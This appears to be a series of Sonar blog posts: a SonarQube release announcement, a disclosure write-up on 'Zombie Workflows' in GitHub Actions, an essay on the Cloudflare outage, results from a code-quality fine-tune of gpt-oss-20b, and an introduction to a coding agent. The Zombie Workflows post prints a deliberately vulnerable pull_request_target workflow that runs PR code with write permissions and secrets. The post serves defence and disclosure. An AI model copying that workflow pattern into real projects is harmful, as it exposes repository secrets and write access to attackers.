To help teams keep up with the volume of code, we've focused on eliminating friction and speeding up your feedback loops. Developers working with JavaScript/TypeScript will immediately notice up to 40% faster analysis for large projects, cutting down wait times and speeding up code reviews. We've made it easier than ever to fix issues quickly with 58 new quick fixes for JavaScript/TypeScript that allow immediate remediation right within your IDE. Furthermore, integrating code quality into your organizational workflow is more seamless than ever: the new Jira Cloud integration instantly turns code issues into trackable tickets, and the Slack integration provides real-time alerts on quality gates status changes in a Slack channel, so your team can act faster when a build does not pass a quality gate.

Unmatched language and compliance coverage

SonarQube 2025.6 significantly expands its lead as the industry standard for language coverage, enabling you to confidently adopt new technology and meet the strictest regulatory standards. We now offer full code security and code quality support for the newest versions of Python 3.14 and Swift (5.9 to 6.2), including SAST and secrets detection for Swift. For developers building machine learning applications, we now provide AI/ML assurance for efficient PyTorch code. In the cloud-native space, you get extensive new rules for Go and new code quality and code security analysis for essential Shell/Bash scripts. Finally, in SonarQube Server Enterprise and Data Center editions we've delivered complete coverage of all 179 MISRA C++:2023 guidelines, STIG V6R3 and the new OWASP Top 10 2025, giving your compliance and risk teams the assurance they need to pass these rigorous standards.

Secure your supply chain with Advanced SAST and SBOMs

In an era of rising supply chain attacks, code security can't be an afterthought. This release enhances our core mission of providing integrated code quality and code security. Our Advanced SAST capability in SonarQube Advanced Security is now refreshed and optimized for the most popular libraries in C#, Java, and now for Python to discover complex, hidden vulnerabilities other tools miss. To give you comprehensive visibility across all components, SonarQube Advanced Security now supports importing SBOMs (Software Bill of Materials) in CycloneDX and SPDX formats, ensuring universal dependency and vulnerability reporting for arbitrary components. With these advancements, SonarQube ensures your organization maintains the governance needed to verify every line of code, both developer written and AI-generated, with speed and confidence.

Start using SonarQube Server 2025.6 now!

The 2025.6 What's New page and our SonarQube Server release notes provide more details about the release.

Are you still using an older version of SonarQube Server? If you’re on an earlier version than the 2025.4 LTA release, update to the latest LTA before moving to the current release. Check out our LTA Update Hub for useful information on how to update.

Zombie Workflows: A GitHub Actions horror story

Paul Gerste — Tue, 09 Dec 2025 16:00:00 GMT

TL;DR overview

Zombie workflows in GitHub Actions are disabled or deleted workflow files that can still be triggered by certain events, creating a hidden attack surface in CI/CD pipelines.
An attacker who gains write access to a repository can exploit zombie workflows to execute arbitrary code within the GitHub Actions runner environment, even if the workflow was previously deactivated.
The vulnerability arises from how GitHub Actions resolves workflow triggers against historical workflow file versions, a behavior that persists even after a workflow is deleted from the default branch.
Teams should audit their GitHub Actions configurations for stale or disabled workflows and implement branch protection rules that prevent unauthorized workflow modifications.

GitHub Actions, GitHub's CI/CD solution, are a convenient and widely used way of automating tasks around your repo. Building your code and running tests, deploying artifacts, creating releases, or managing pull requests and issues is all possible there. A great strength of the GitHub Actions ecosystem is also the fact that anyone can create reusable actions that you can use in your workflows.

However, GitHub Actions are not exempt from vulnerabilities. They can pose risks to the repository and its users if attackers can hijack certain workflows. CI/CD environments are attractive targets for attackers, as they can contain deployment tokens, signing keys, or provide write access to a repo. Past incidents, such as tj-actions/changed-files or the Nx "s1ngularity" attack show that attackers have GitHub Actions on their radar, and they are actively exploited to start supply chain attacks.

To support SonarQube's GitHub Actions scanning features, we started to research the ecosystem and stumbled across a pattern we dubbed Zombie Workflows. Attackers could have abused it to exploit vulnerable workflows, even after they seem to have been fixed. GitHub has deployed a change to mitigate the underlying issue, so we can explain the details of how Zombie Workflows work without any risk of in-the-wild exploitation.

A GitHub Actions classic: Pwn Requests

A classic example of GitHub Actions vulnerability are Pwn Requests. These are workflows that run when a pull request is opened or updated, use data from the pull request in an unsafe way, and hold sensitive values. Unsafe usage could mean unsafe interpolation of the PR title, running scripts from the PR, and more. Sensitive values are either repository secrets, such as access tokens or signing keys, or a privileged GitHub access token that provides write access to the repository. Vulnerable workflows typically run on the pull_request_target event.

For public GitHub repositories, Pwn Requests can be opened by any user on the platform by forking the target repo, making a change, and opening a pull request. Let's look at an example:

on: pull_request_target
permissions:
  contents: write
jobs:
   build:
     name: Build and test
     runs-on: ubuntu-latest
     steps:
        - uses: actions/checkout@v2
          with:
             ref: ${{ github.event.pull_request.head.sha }}
       - uses: actions/setup-node@v1
       - run: npm install && npm build
       - uses: completely/fakeaction@v2
         with:
            arg1: ${{ secrets.supersecret }}

When a pull request is opened, the workflow clones and checks out the PR changes. It then runs npm install and npm build in the directory of the PR checkout. This will lead to arbitrary code execution, as an attacker can simply add a custom build script in the package.json file. Executing code in the workflow environment gives the attacker access to all data in the environment, such as the secret used in the last step of the workflow, or the privileged GITHUB_TOKEN.

Let's fix the vulnerability to protect our CI/CD pipeline. First, we should switch from pull_request_target to the pull_request trigger. This will prevent external PRs (those from users who have no special permissions in the repo) from getting any write permissions or secrets, even if they are explicitly stated in the workflow file.

Second, we could switch the permissions to read, and move the last step into its own workflow since it can't have access to secrets anymore due to the use of pull_request. Attackers can still execute arbitrary code during a workflow run, but because we removed all sensitive secrets and permissions, there is no impact anymore. We push our workflow vulnerability fix to the main branch and are done. Crisis averted!

But wait, what's that?! We still got exploited after we pushed the fix? We can see that there is a malicious Pwn Request that somehow still exploited our vulnerable workflow. The vulnerability we thought was dead came back to life and haunts us!

Zombie Workflows

We dubbed this vulnerable pattern Zombie Workflows because they appear to be coming back from the dead. Let's dive in to see what happened.

When a pull request triggers a workflow, there are multiple things that need to be resolved by the GitHub Actions runner. What's the Git history's head? Which version of the workflow should I run? Which files do I need to clone?

To prevent attackers from simply modifying the workflow file in their PR changes and then letting GitHub execute it for them, there are some safe-by-default settings in place. The Git history head is the latest state of the base branch. This is the branch in the target repo that the PR wants to merge into. The workflow file is also taken from this branch, since this file can be trusted because it is already part of the repo. By default, a clone action inside a workflow will also checkout the latest state of that base branch.

However, when a workflow needs to perform tasks on the changes from the PR, users override these defaults. Taking our example from above, we can see that the checkout action will clone the repo and then check out the head branch, which is the external branch with the changes of the PR. Importantly, the workflow file itself is still taken from the base branch. So we should be safe, right?

The problem: When opening a PR, an attacker can decide which branch to target. Since GitHub will always run the workflow version from the base branch, an attacker can decide which version of the workflow to run, including vulnerable ones from forgotten branches.

Scenario 1: Old, forgotten branches

When we fixed the workflow vulnerability, we only pushed the fix to main, our default branch. However, our repo uses branches for things like releases, hotfixes, feature development, etc. At every point in time, there are multiple branches, created from different points in the Git history. Some of the branches might even be very old and unused for years.

When fixing a PR workflow vulnerability, we need to make sure that we apply the fix in every branch. If we don't do it, attackers can look through our branches and our Git history to find fixes that were not ported and exploit them. The only exception to this is when the PR trigger has a branch filter that prevents the workflow from running on unwanted branches.

One real-world example of such an attack might be the Nx "s1ngularity" attack. In their post-mortem, the Nx maintainers mention that a vulnerable workflow was likely exploited after they had fixed it. While they don't mention the exact reason, which might not be reconstructable due to the attacker covering their tracks, but the overall behaviour does fit the Zombie Workflows pattern.

Scenario 2: New, unmerged branches

Instead of exploiting old, forgotten branches, attackers could also watch a repo and wait for a vulnerable workflow to be committed to an unreviewed feature branch. Even if the repo maintainers have a strong review process that would catch vulnerabilities before they're merged into the default branch, these changes have to exist in some branch in order to be reviewed.

Since attackers can open a PR on any base branch, there's nothing preventing them from triggering a new workflow before it has even been reviewed. We are not aware of any real-world cases of this scenario, but there could have been undetected cases. However, this attack scenario usually has a smaller window of exploitability

Findings

When we realized that Zombie Workflows are a thing and that very few people know about and consider this GitHub Actions behaviour, we started a large-scale evaluation of popular repositories to find out how prevalent Zombie Workflows are.

We started by crawling the workflows of top repositories with more than 2000 GitHub stars. This limit was arbitrarily as a rough proxy for the popularity of the repos. This left us with 28,384 repositories from which we filtered out repos not containing any workflows, leaving us with 15,691 repos that do use GitHub Actions. From these, we removed all repos that only have a single branch, because by definition, there couldn't be Zombie Workflows here. This left us with 14,130 repos that we needed to scan for workflow files:

After searching through all 7,704,037 branches of these repos, we found 442,321 unique workflow files. Many of these unique files are different versions of the same workflow, found in different branches that capture the workflow file version at the point in time when the branch was created. Since the only trigger for a Zombie Workflow is pull_request_target, we filtered out all workflows that didn't use this event. This gave us 18,002 workflows that are potentially attackable by a Pwn Request:

Since this number was still too large to triage manually, we created a heuristic that only kept workflows that check out the head branch and have a potential impact. To determine this, we checked if the workflow used secrets other than GITHUB_TOKEN, or if the permissions were either explicit write permissions, or implicit write permissions derived from the defaults. This resulted in 2,191 candidate workflows out of which we identified 188 to be vulnerable:

As a final check, we verified if each of the vulnerable repositories is indeed only vulnerable in non-default branches, or if the vulnerability still exists in the default branch. To our surprise, a majority of 121 workflows fell into the latter category, making us end up with only 67 "true" Zombie Workflows:

The 188 vulnerable workflows are just a lower boundary, as our heuristic could have excluded many exploitable ones that follow a different pattern than the one we searched for. During our manual triage, we stopped when we found one vulnerable version of a workflow in each repo, so the absolute number of exploitable branches is higher.

Among the confirmed vulnerable repos were projects with tens of thousands of GitHub stars in organizations such as Microsoft, llama.cpp, Cypress, LLVM, NVIDIA, Apache Foundation, and Azure.

Disclosure and patches

Once we were done with our evaluation, we started the long process of disclosing these vulnerabilities to the respective maintainers. In the best case, this includes manageable, but still non-negligible amount of work: Verifying that it is indeed exploitable to avoid sending out false-positive reports, creating a comprehensive report, submitting it to the maintainers, and helping with follow-up questions.

In a lot of cases, there was even more work involved before we could even send the report: tracking down active maintainers and their preferred ways of vulnerability reporting, following up via other channels when getting no response, etc. We knew this from our past years of reporting vulnerabilities to open-source projects, but with 188 vulnerabilities, this was on a different scale.

This is why we were very relieved to see an announcement from GitHub on November 7. They announced to change the default behaviour of pull_request_target-triggered workflows. Starting from December 8, such workflows will use the workflow version from the default branch instead of the base branch.

This effectively fixes the Zombie Workflows pattern because vulnerability fixes don't have to be backported to all branches, and new branches cannot be exploited before they're merged into the default branch. While we are still continuing to report the issues in default branches, this platform change was very effective in securing a lot of projects at once.

Summary

GitHub Actions are widely used but are also interesting targets for attackers because they're not exempt from vulnerabilities and can hold sensitive tokens and privileges. While the concept of Pwn Requests has been known for a while, there was a pattern attackers could use to exploit seemingly fixed workflows, which we call Zombie Workflows.

We want to express kudos to the GitHub team for doing the right thing by introducing a breaking change that increases the security of the whole platform at once, preventing Zombie Workflows. However, there are still other types of GitHub Actions vulnerabilities that your workflows could be vulnerable to. To ensure you can trust your code, scan your workflows with SonarQube to detect real-world issues like the ones explained in our recent blog post.

The Cloudflare outage and why code quality matters more than ever

Denis Troller — Mon, 08 Dec 2025 16:00:00 GMT

TL;DR overview

The Cloudflare outage illustrates how a single code defect in a critical infrastructure component can cause cascading failures affecting millions of users, underscoring why code quality and reliability are business-critical concerns rather than engineering nice-to-haves.
Reliability issues like the one that caused the outage often originate from subtle bugs—incorrect assumptions, edge case handling failures, or unexpected state interactions—that standard testing may miss but static analysis can surface.
SonarQube's reliability analysis detects the classes of bugs most likely to cause production failures: null pointer dereferences, resource leaks, incorrect exception handling, and logic errors in concurrent or distributed code paths.
Organizations that adopt code quality practices reduce their exposure to reliability incidents by ensuring that new and changed code meets defined quality standards before it can reach production.

On November 18th, 2025, Cloudflare experienced a significant outage that rippled through the Internet. They reacted quickly by diagnosing the issue and deploying fixes immediately, and the incident serves as a case study for engineering teams everywhere. Cloudflare provided a detailed post-mortem explaining how a small change cascaded into a global disruption.

This is the type of knowledge-sharing that allows the entire software industry to progress; it’s important for everyone to understand what can happen when you run interconnected services at the scale of the planet.

This blog post looks at how seemingly small decisions can have massive effects, and the importance of prioritizing code quality to build reliable software.

The outage

I’ll let you read the post-mortem, but it boils down to two unrelated things:

A change in database permissions
A hard-coded limit in a process routing traffic across the Cloudflare network

The code that ultimately failed was designed with performance in mind, likely with a set of expectations as to what it would consume as an input. In a high-scale environment like Cloudflare’s, hard-coded limits often exist for good reasons, such as ensuring speed and minimizing memory consumption.

Likely, the team generating the data and the team consuming it were distinct units operating under agreed-upon assumptions. But in the age of cloud computing, hidden dependencies can shift unexpectedly. The critical question of what happens if these limits are not honored may never have been part of the review conversation. This is a fact of software development. Things fall through the cracks. It is difficult for any single team to envision every cascading effect of a database change.

So what are we to do in the face of such a disheartening situation?

The real question

The most important question isn't who made the mistake, but rather if the conversation about failure modes ever happened. Was anyone even aware that the software could fail in those specific conditions?

When you look at the code Cloudflare openly shared with the world, you can see (if you read Rust fluently), that there is a seemingly innocuous call to “unwrap()” at the end.

This call is the reason the software failed. The unwrap()call takes the result of a previous call and extracts the value. If the previous call fails, unwrap() panics and kills the program.

While unwrap() is not bad in and of itself, it is part of the language and suitable in many simple cases, with the right precautions. However, in that particular case, it meant that if the expectations on the input file were not met, the program crashed. Could the software have been designed differently to handle the problem gracefully? Maybe.

As this program seems to be mission critical, it is a fair assumption that a requirement should have been “it is not allowed to fail.” How do you make sure that this requirement is met? You can carry out an exhaustive risk analysis, which might happen when the program is first designed, but is unlikely to be repeated when the program evolves over time.

My point here is not to point fingers at either the software engineers, the architect, the QA team or the company. I want to highlight how difficult it is to ensure such a requirement over the lifetime of any piece of software. If you want assurances that a requirement holds, you need an automated way to check for it. Testing helps, but it requires having identified the specific failure mode to write a test for it, which you cannot guarantee.

Catching bugs

The standard defense to that problem is “code review.” Software engineers rely on each other to catch mistakes in their code. However, reviewing the code requires keeping in mind both the goal of the change and the original requirements that should still hold to give an opinion on it. At a time where the reviewer is probably working on different things. This simple method call can easily slip in, because it does not scream “one original requirement is broken here.”

The easiest way to make sure such issues are raised to our attention is static code analysis, which reads the code to identify problematic patterns and provides context on why the pattern is bad. Rust actually comes with such an analyzer, Clippy, which can raise a warning every time unwrap() is used in a dangerous way, with a simple configuration.

Going back to our discussion, when the software was originally specified, and assuming it was deemed “mission critical,” then turning on that rule would have made sense. Months or years later, during a change introducing the call to unwrap(), it would have raised an issue, making the call stand out during development. The developer would have challenged their own decision, and maybe would have sparked a deeper conversation with upstream stakeholders, or even simply internally in the team, leading to changing the code that loads the file so that it logs a warning but only keeps whatever information holds in the pre-allocated buffer without failing completely.

No matter what the decision, the conversation would have happened because the analyzer would have flagged it.

It is extremely easy to choose which rule should run on which project, depending on your context. And if the context changes, then you can change the rules that are active and review the newly discovered problems to prepare for potential problems, just like security teams do this for new vulnerabilities

Where does code quality fit in?

At Sonar, we define code quality as the fundamental health of your codebase. It goes far beyond syntax or style. It is the structural integrity that determines whether your software operates as intended or fails under pressure.

Code quality is code governance

The critical thing here is that code quality is not simply about best practices, it is about code governance. The root cause of many outages is not just a bug. It is a lack of visibility. Governance ensures that the assumptions made when software was designed continue to hold as you modify it years later. It’s about having the right tools in place to surface where those assumptions are broken and bring them to the eyes of those who can act on it: developers.

The risk of not considering quality as an integral part of the SDLC is outages like this one, potentially leading to breach of SLAs, the cost of diagnosing, fixing and deploying a new version of your product, not to mention public relations problems. The costs can accumulate quickly, and, as we have seen here, the moment a bug manifests itself is unpredictable at best.

The acceleration of AI-generated code has made manual oversight impossible at scale, transforming automated verification from optional into a necessity. Implementing deterministic static analysis creates an essential safety net that continuously scans your entire codebase without slowing down development. While no single tool can predict the exact sequence of events in a complex outage, catching these specific logic errors early effectively breaks the chain of failure, stopping compounding issues before they ever reach production.

A technical look at SonarSweep for GPT-OSS-20B

Joe Tyler — Thu, 04 Dec 2025 16:00:00 GMT

TL;DR overview

This post provides a technical examination of SonarSweep's performance when applied to GPT OSS 20B-generated code, evaluating how well the tool detects quality and security issues in LLM-produced output.
The analysis covers the types of code quality issues most commonly introduced by large language models, including subtle logic errors, security anti-patterns, and maintainability problems that standard LLM evaluation benchmarks do not surface.
Results demonstrate SonarSweep's ability to catch LLM-specific code quality patterns that traditional testing methods miss, validating its role as a verification layer in AI-assisted development workflows.
The findings support Sonar's broader 'vibe, then verify' approach: enabling developers to use AI coding tools freely while enforcing rigorous automated quality and security checks on all generated code before it enters the codebase.

We recently released SonarSweep-java-gpt-oss-20b, a fine-tuned version of OpenAI’s gpt-oss-20b optimized for generating high-quality Java code.

This release is not intended to compete with state-of-the-art (SOTA) reasoning models. Instead, it serves as a technical demonstration of how training data quality impacts the quality of a model’s code generation output.

By processing our training dataset through the SonarSweep pipeline, we aimed to answer a critical question: Can we significantly reduce the density of bugs and vulnerabilities in generated code without increasing model size or latency?

Here is an overview of the methodology, the results, and the known limitations of this model.

The methodology

We started with OpenAI’s gpt-oss-20b base model. For the training dataset, we compiled 70k Java examples from OpenCoder and synthetic alignment data.

Before fine-tuning, we used SonarSweep to analyze and optimize this dataset. The hypothesis was that by identifying "bad" code (code smells, bugs, and security vulnerabilities) in the data before remediating and curating training examples, the resulting model would learn to follow good practice and generate expert-level coding patterns.

We fine-tuned by training LoRA adapters for all linear layers of the experts and attention blocks.

The results: Code quality and functional correctness

For our benchmarks we evaluate Functional Correctness, i.e. does the generated code pass a set of pre-defined unit tests, and Code Quality, which we quantify by the number of Sonar quality issues our SonarQube analyzers detect split across reliability, maintainability, and security.

1. Java functional correctness

Functionally, the fine-tuned model performs at near-parity with the base model. On the MultiPL-E Java benchmark, the Pass@1 score shifted marginally from 71.49% (Base) to 72.37% (Fine-tuned).

2. Java code quality

The real impact of SonarSweep is visible when we analyse the quality of the generated code. Benchmarking on ComplexCodeEval and MultiPL-E Java, the fine-tuned model produced significantly higher-quality code with fewer defects.

Code quality	Metric	Base model	SonarSweep fine-tuned model	Change
Reliability	Bugs / KLOC	0.9	0.53	▼ ~41%
Security	Vulnerabilities / KLOC	0.41	0.24	▼ ~41%
Maintainability	Code Smells / KLOC	20.04	16.29	▼ ~18%

Note: KLOC = Thousand Lines of Code.

3. Other languages and general ability

While the model was optimized exclusively for Java, we observed no significant degradation in functional correctness of a selection of non-target languages. Furthermore, the model’s general question-answering capabilities remained intact, achieving 78.12% accuracy on the MMLU benchmark—a negligible 0.79% difference from the base model.

These benchmark scores demonstrate that using SonarSweep to analyze, remediate and curate training data improves target language quality, without sacrificing the model's functional coding ability on other languages or on MMLU. There is a significant ~41% reduction in the number of bugs and security vulnerabilities generated compared to the base model - this validates that models trained on high-quality data don't just write code that works; they write code that is safer and more reliable.

What this model is (and is not)

To ensure this model is used correctly by the community, we want to be transparent about its scope: it is a demonstration of how using SonarSweep for fine-tuning can reduce downstream technical debt in LLM-generated code.

This model operates exclusively as a low-reasoning model, derived from gpt-oss-20b-low. It is optimized for speed and standard conversational tasks rather than complex chain-of-thought processing. The model is hard-coded to a low-reasoning profile.

Evaluation and access

For teams looking to train their own models or fine-tune existing ones, these results are clear: leveraging SonarSweep to boost your data quality can lead to significant improvements in the security, reliability and maintainability of LLM-generated code. More details are available on the HuggingFace model card. We invite the community to review the full metrics and test the model.

Model card and weights: SonarSource/SonarSweep-java-gpt-oss-20b
Base model: openai/gpt-oss-20b
Evaluation tools: SonarQube, MultiPL-E, ComplexCodeEval, MMLU

We welcome feedback on the Sonar Community forum.

Why prioritizing code quality is the fastest way to reduce security risks

Satinder Khasriya — Wed, 26 Nov 2025 16:00:00 GMT

TL;DR overview

Prioritizing code quality is the fastest way to reduce security risks because the same structural weaknesses that cause bugs—high complexity, poor error handling, and tight coupling—also create the conditions for exploitable vulnerabilities.
Code that is well-structured, properly tested, and low in complexity is inherently harder to exploit and easier to audit for security issues.
SonarQube's unified analysis of quality and security issues surfaces these interconnections, showing teams how maintainability improvements directly reduce their security attack surface.
The code quality methodology aligns quality and security improvement by enforcing both on new code, ensuring that every commit moves the codebase toward a more secure state.

🎧 Listen to a 2-minute summary of this article

The common perception is that a security vulnerability is a rare, complex attack pattern. In reality, the journey of most flaws begins much earlier and much more simply: as a code quality issue. For both developers and security practitioners, understanding this lifecycle is crucial to building secure, reliable, and maintainable software. A small inconsistency or a tiny lapse in coding is not just a future maintenance headache—it is a security blind spot waiting to be exploited.

The origin of a quality issue

Let's track a common problem. A developer is working on a feature and, under time pressure, implements a quick custom function for user input handling. Perhaps they skip using a library’s built-in, hardened validation routine in favor of something less tested.

At this stage, the issue is flagged as a code quality concern which quite often is ignored and left aside. The code works, it passes functional tests, and it might even look acceptable on the surface. But it is brittle, untested, and lacks the necessary defensive-coding best practices. It is not production-ready code.

This initial lapse is now critically amplified by the rapid adoption of AI coding assistants. While AI accelerates the generation of code volume, it can also subtly introduce non-standard patterns, inconsistencies, or even security vulnerabilities that are difficult to spot. The speed of AI generation makes it easy for a developer reviewing code to overlook a quality lapse in a large block of suggested code. This lack of scrutiny fuels the AI accountability crisis, where organizations lose visibility and control over whether all code human or AI-written adheres to enterprise standards for code quality and code security. Without real-time, expert guidance in the developer's integrated development environment (IDE) this sub-optimal code often gets merged.

Escalating into a security vulnerability

Months after the code is pushed into production, a threat actor discovers a novel attack vector, perhaps a specific type of encoding, or an unconventional input that the quick, custom function never accounted for. When the issue escalates, the security team's focus shifts from architectural review to exploit analysis. They don't see a "bad function"; they see a specific path of data flow that allows tainted input to reach a sensitive part of the application without proper sanitization. The security team's deliverable at this stage is a finding that states: A specific line of code is exploitable and presents a critical risk to data integrity or business operations. This sets in motion the next phase of the journey.

Phase I: Risk validation and triage

In this phase the security issue moves beyond simple detection. It's the phase of rigorously assessing the newly flagged issue to determine their genuine risk, confirm they are not false positives, and prioritize them for action. This ensures developers focus their time on the real problems that impact the software's security, quality, and maintainability, preventing low-quality or vulnerable code from ever progressing downstream.

Confirm severity: The security team first verifies the SAST(Static Application Security testing) tool's finding, especially for complex issues like those identified by taint analysis. They confirm the tool correctly traced the unsecured path of the data (tainted input) from the source (e.g., user input field) to the sink (e.g., database query or file system command). This verification minimizes the noise from potential false positives and ensures the issue is a genuine exploit potential.
Contextualize risk: They assign a definitive risk rating (e.g., Critical, High, Medium) based on several factors:
- Impact: What is the worst-case scenario (e.g., full system compromise, data breach)?
- Reachability: Is the vulnerable code easily accessible to an attacker (e.g., an exposed API endpoint versus an internal admin function)?
- Compliance: Does the vulnerability violate required industry standards (like OWASP Top 10 or PCI DSS)?
Ticket creation: The confirmed vulnerability is logged, categorized, and assigned a specific owner, usually the original development team responsible for that service or repository.

Phase II: Remediation and enforcement

This phase closes the loop by transforming insight into action. Remediation and enforcement is about making the fix immediate, efficient, and consistent.

Enforce quality gate: For high-risk findings that are part of a pending pull request (PR), the security tool's quality gate is used to automatically fail the build and prevent the insecure code from being merged. This ensures the issue is stopped at the point of creation.
Coordinate the fix: The security team provides the development team with the full actionable code intelligence. This includes:
- A clear explanation of the vulnerability and its potential attack scenario.
- The exact line of code where the issue starts and where the dangerous operation occurs.
Developer action: The responsibility then shifts to the developer. They go "back to the drawing board" to implement a fix that addresses the root cause—the failure in maintainable code or code quality. This usually involves refactoring the insecure function and implementing a hardened, defensible solution (e.g., using parameterized queries instead of string concatenation to prevent SQL injection).

The developer must analyze the initial technical debt, custom function and now view it through a security lens. The fix requires going beyond a simple patch; it demands a refactoring effort to ensure the code is not just secure against the known exploit, but is defensively robust against future, similar attacks. This often involves:

Replacing the brittle code with a hardened, well-vetted library function.
Implementing rigorous input validation and output encoding to eliminate the threat of injection or cross-site scripting.
Using actionable code intelligence to guide the fix, ensuring the final code meets the enterprise standard for production-ready code.

Phase III: Verification and reporting

The final phase is essential for organizational governance and risk management. This is where the quality and security status of the entire application portfolio is continuously monitored against defined standards.

Re-scan and verification: Once the developer submits the fix, the security tool re-scans the updated code. The security team verifies that the fix is comprehensive and that the original vulnerability is no longer detectable.
Compliance reporting: For strategic purposes, security practitioners track the mean time to remediate (MTTR) for critical vulnerabilities. They use the tool's reporting features, such as those in SonarQube, to prove to leadership that the codebase is compliant with enterprise security policies, managing and continuously reducing risk exposure across the entire application portfolio.

The strategic risk is clear: a failure to enforce robust code health at the earliest phase has created a massive, system-wide liability. The issue was not a complex attack; the issue was code that was never defensively robust in the first place.

A “vibe, then verify” approach

The solution to stopping this recurring pattern is to merge the concepts of code quality and code security at the source. This is where actionable code intelligence provides the necessary guidance and guardrails for both teams.

For developers:

The goal is to provide immediate feedback where you work. This is where SonarQube for IDE acts as a real-time coach, flagging the custom, error-prone function as you write it.

Real-time coaching in the IDE: SonarQube for IDE delivers real-time feedback seamlessly into the developer's favorite editors. It flags potential bugs, security issues, and quality flaws the moment code is written, ensuring you are improving code quality and security as you write.
AI-driven fix suggestions: When issues are found, AI CodeFix (requires connected mode) leverages large language models (LLMs) to intelligently suggest code fixes with a single click, streamlining issue resolution and allowing developers to focus on interesting challenges.
Comprehensive security feedback: You receive real-time analysis for both quality and security, including detection of hard-coded secrets and complex issues identified by taint analysis, ensuring issues are fixed when they are easiest and cheapest to address.

This shift empowers you to fix issues when they are easiest and cheapest to address, ensuring you are improving code quality and security as you write.

For security practitioners:

Your role shifts from late-stage firefighting to establishing automated, non-negotiable standards. You can build a "vibe, then verify" culture where code is continuously scrutinized by automated tools in the CI/CD pipeline, such as SonarQube.

Assurance for AI code: The AI Code Assurance capability is an automatic verification process that subjects AI-generated code to a structured, comprehensive analysis. This ensures that AI-generated code meets the highest standards of quality and security before moving to production.
Continuous enforcement with quality gates: SonarQube acts as the central control plane, continuously scrutinizing all code—human-written, AI-generated, and open source. Customizable Quality Gates in the Continuous Integration/Continuous Deployment (CI/CD) pipeline automatically fail a build and prevent non-compliant code from being merged or deployed, serving as the final, non-negotiable guardrail.
Integrated, comprehensive security: You gain consolidated visibility with a single platform that integrates core security tools: SAST, Secrets Detection, IaC Scanning , and Advanced Security, which extends protection to third-party dependencies using software composition analysis(SCA)and deeper taint analysis.

This provides the governance and reporting needed to prove compliance, and it acts as the final guardrail, ensuring code security by design. You move beyond simply blocking known vulnerabilities to proactively preventing quality issues that will inevitably become vulnerabilities down the line.

Reducing the security risk

Code quality and code security are fundamentally intertwined, operating as two sides of the same software-health-coin. A poorly written, difficult-to-understand piece of code significantly increases the probability of introducing and masking a security vulnerability. By merging code quality and code security into a single, integrated standard, organizations achieve two critical goals: they empower developers to maintain high quality standards for all code that they write, and they dramatically reduce operational risk by shifting vulnerability detection left to the point of creation. This unified approach transforms security from a bottleneck to a core part of the development process, empowering developers to maintain high standards and ensuring the entire codebase is trustworthy.

Get started with SonarQube Cloud.

Introducing Sonar Foundation Agent

Haifeng Ruan — Fri, 14 Nov 2025 16:00:00 GMT

TL;DR overview

The Sonar Foundation Agent is an AI-powered agentic tool that autonomously detects and remedies code quality and security issues, operating within the boundaries defined by Sonar's analysis engine.
Unlike general-purpose AI coding assistants, the Foundation Agent grounds its fixes in verified SonarQube findings, ensuring remediation targets real issues rather than hallucinated problems.
The agent integrates into existing CI/CD workflows, enabling automated fix proposals to be created and reviewed in pull requests—keeping humans in control of which fixes are accepted.
Early use cases include automating remediation of well-defined, deterministic issues like hardcoded secrets, missing null checks, and common security anti-patterns identified by Sonar's rules.

Sonar Foundation Agent is a coding agent for general software issues, developed at Sonar by the former AutoCodeRover team. As of November 3, 2025, Sonar Foundation Agent scores 75% on SWE-bench Verified, while maintaining a low average cost of $1.26 and a high efficiency of 10.5 min per issue.

Implementation with the LlamaIndex framework

Sonar Foundation Agent is a tool-calling-style agent, implemented with the LlamaIndex framework. Configured with a carefully-designed system prompt, Sonar Foundation Agent receives the description of the issue to solve and then iteratively invokes tools to investigate and resolve the issue. The final output is a patch to the code in the unified diff format.

Sonar Foundation Agent has the following tools:

bash: A tool for executing arbitrary commands in bash. The tool is stateful, i.e., the same bash process is used across invocations of the tool.
str_replace_editor: A tool for viewing, creating, and editing files. The edits happen by means of string replacement.
find_symbols: A tool for searching the program AST for symbols, including classes, methods, and functions. This is the same AST search tool introduced in the original AutoCodeRover agent, making it easy and reliable to find relevant symbol definitions in the program.

Lesson learned: Tailoring agent autonomy

Figure 1. Efficacy increases with the level of agent autonomy

In trying to improve the efficacy of Sonar Foundation Agent, our team has conducted extensive research and experiments. During this process, it became clear to us that the key to a great agent is to match the level of autonomy with the capability of the underlying model. As shown in Figure 1, with the current powerful LLMs, the efficacy of our agent on SWE-bench Verified increases when given more autonomy.

Constrained workflow: Early-days AutoCodeRover

Back in April 2024, our team developed AutoCodeRover, which was one of the earliest coding agents. It has a clearly-defined 2-stage workflow: context retrieval, followed by patch generation. Either stage is handled by a separate agent. In the context retrieval stage, AutoCodeRover would repeatedly invoke an AST search tool to find the buggy location and accumulate relevant context, and most of the autonomy of AutoCodeRover lies in what AST searches to perform and when to stop. In the patch generation stage, AutoCodeRover would simply write a patch with the accumulated context. There is no autonomy in deciding the workflow.

The limited autonomy to AutoCodeRover was a conscious decision. At that time, the capability of LLMs to grasp a long context was limited. When we instructed a single agent to first retrieve context and then write a patch, it would have lost sight of some context collected early on when writing the patch. Moreover, oftentimes, it would not write a patch altogether. Therefore, we broke the workflow into two distinct stages: the context is first collected and summarized by a first agent, and a patch is written by a second agent. We found that the separation improved both context utilization and instruction following, boosting AutoCodeRover’s efficacy under limited LLM capability.

More autonomy in workflow and tools: Sonar Foundation Agent

This time around, while developing Sonar Foundation Agent, we re-examined AutoCodeRover’s two-stage workflow and its basis. We realized that the capability of LLMs have evolved a lot over the past year and a half, and that the agent might now benefit from a more free workflow. Therefore, we switched to a single-agent workflow. The two-stage workflow was not totally discarded. Instead, we prompted the single agent to work in several stages, including the two stages and more patch testing and validation. We were glad to find that the latest models, including GPT-5 and Claude Sonnet 4.5, are able to deal with a longer context window and follow instructions significantly better. Using the same LLM, the change in workflow resulted in an efficacy boost from about 58% (“Two-Stage Workflow” in Figure 1) to 70% (“Free Workflow” in Figure 1).

More autonomy in prompts: Leveraging thinking models

Finally, we sought to unlock the power of thinking models. In an initial attempt, we simply turned on the extended thinking of Claude Sonnet 4.5. However, the efficacy remained at about 70%. We realized that the prompt was so detailed that even with extended thinking, the agent would do largely the same things and achieve similar results. Our realization was corroborated by Claude’s official prompting guide, which says thinking models can benefit from more concise and less prescriptive prompts. In light of this, we distilled the essence of our prompt, highlighting a test-driven approach to issue resolving, while removing the overly prescriptive instructions. This improvement in prompts gave us a final boost of efficacy to 75% (“Free Workflow+Extended Thinking” in the chart above).

